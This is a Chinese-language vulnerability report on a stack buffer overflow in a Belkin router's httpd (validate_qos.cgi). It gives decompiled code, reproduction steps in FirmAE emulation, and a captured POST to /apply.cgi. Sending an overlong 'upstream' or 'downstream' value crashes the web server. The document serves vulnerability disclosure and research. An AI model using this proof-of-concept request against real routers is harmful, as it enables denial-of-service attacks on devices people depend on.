

**漏洞名称:** belkin SKU F7D3302zh (f7d8302)存在缓冲区溢出漏洞

**影响范围:** F7D4302-8302\_WW\_1.00.28.bin

**固件链接:** <https://www.belkin.com/cn/support-article?articleNum=4673>

**漏洞分析:**

httpd 逆向结果,如图在 validate\_qos.cgi()函数中, 在获取完 upstream 和 downstream, 未经正确长度限制, 直接将两个参数拼接存入栈中, 导致溢出, 可造成拒绝服务漏洞

```
1 int validate_qos.cgi()
2 {
3     int v0; // $s1
4     const char *v1; // $s1
5     const char *v2; // $s0
6     const char *v3; // $s2
7     const char *v4; // $v0
8     int v5; // $v0
9     int v6; // $v0
10    int v7; // $s3
11    const char *v8; // $fp
12    const char *v9; // $s7
13    int v10; // $s2
14    char *v11; // $s1
15    char *v12; // $s0
16    int v13; // $s3
17    char *v14; // $v0
18    const char *v15; // $s1
19    const char *v16; // $s0
20    const char *v17; // $v0
21    int v18; // $v0
22    int result; // $v0
23    int v20; // $s1
24    const char *v21; // $s0
25    const char *v22; // $v0
26    int v23; // $v0
27    int v24; // $v0
28    char v25[32]; // [sp+78h] [-230h] BYREF
29    char v26[32]; // [sp+98h] [-210h] BYREF
30    char v27; // [sp+88h] [-1F0h] BYREF
31    char v28[128]; // [sp+F0h] [-1B0h] BYREF
32    char v29; // [sp+178h] [-130h] BYREF
33    char *v30; // [sp+278h] [-30h]
34    char *v31; // [sp+27Ch] [-2Ch]
35    char *v32; // [sp+280h] [-28h]
36    char *v33; // [sp+284h] [-24h]
37    char *v34; // [sp+288h] [-20h]
38    char *v35; // [sp+28Ch] [-1Ch]
39    char *v36; // [sp+290h] [-18h]
40    char *nptr; // [sp+294h] [-14h]
41    int v38; // [sp+298h] [-10h]
42    char *dest; // [sp+29Ch] [-Ch]
43    char *src; // [sp+2A0h] [-8h]
44    char *s; // [sp+2A4h] [-4h]
45
46    v0 = get_cgi("qos_enable");
47    nptr = (char *)get_cgi("profile");
48    nvram_set("qos_enable", v0);
49    nvram_set("qos_profile_id", nptr);
50    v1 = (const char *)get_cgi("upstream");
51    v2 = (const char *)get_cgi("downstream");
52    v3 = (const char *)get_cgi("bw_qos");
53    if (atoi(v3))
54    {
55        sprintf(v28, "%s%s", v1, v2, 9);
56    }
```

**漏洞复现:**

使用 FirmAe 仿真固件

```
FirmAe$ sudo ./run.sh -d belkin ./firmwares/F7D4302-8302_WW_1
.00.28.bin
[sudo] password for iot:
[*] ./Firmwares/F7D4302-8302_WW_1.00.28.bin emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
[*] ./Firmwares/F7D4302-8302_WW_1.00.28.bin already succeed emulation!!!

[IID] 41
[MODE] debug
[+] Network reachable on 192.168.2.1!
[+] Web service on 192.168.2.1
[+] Run debug!
Creating TAP device tap41_0...
Set 'tap41_0' persistent and owned by uid 0
Bringing up TAP device...
Creating TAP device tap41_1...
Set 'tap41_1' persistent and owned by uid 0
Bringing up TAP device...
Starting emulation of firmware... 192.168.2.1 true true 63.014827025 64.06523474
```

登录 web 管理页面, 密码默认为空

在 QoS 配置文件中, 修改宽带管理设置, 抓包请求

## 酷玩宽带无线路由器 > QoS 配置文件

启用或禁用 QoS 模块功能 > ☒ 启用 ☐ 关闭

配置文件 >

用户自定义 1

带宽管理 >

用户自定义 1

编辑

分类规则 >

名称	优先级	信息	操作
语音设备	最高	---	编辑 删除
在线游戏	高	查看详细信息	编辑 删除
视频	中	---	编辑 删除
默认	正常	针对一般数据和后台通信量	编辑

添加规则

清除变更

套用变更

将 upstream 或 downstream 的值更改为超长字符串，发送

Intercept HTTP history WebSockets history Options

Request to http://192.168.2.1:80

Forward Drop Intercept is on Action Open Browser Comment this item HTTP/

Pretty Raw Hex

```
1 POST /apply.cgi HTTP/1.1
2 Host: 192.168.2.1
3 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 354
9 Origin: http://192.168.2.1
10 Connection: close
11 Referer: http://192.168.2.1/qos_main2.stm
12 Upgrade-Insecure-Requests: 1
13
14 location_page=qos_main2.stm&arc_action=Apply&page=qos_main2.stm&qos_enable=1&profile=1&bw_mgt=1&upstream=0&downstream=0&minbw0=10&borrow0=1&minbw1=20&borrow1=1&minbw2=30&borrow2=1&minbw3=40&borrow3=1&rule_num=4&name_0=&priority_0=10&category_0=14&name_1=&priority_1=20&category_1=16&name_2=&priority_2=30&category_2=15&name_3=&priority_3=40&category_3=17
```

此时 web 服务器已经崩溃，无法访问

```
~$ whatweb http://192.168.2.1/
http://192.168.2.1/ ERROR: Timed out Net::ReadTimeout
http://192.168.2.1/ [ Unassigned]
```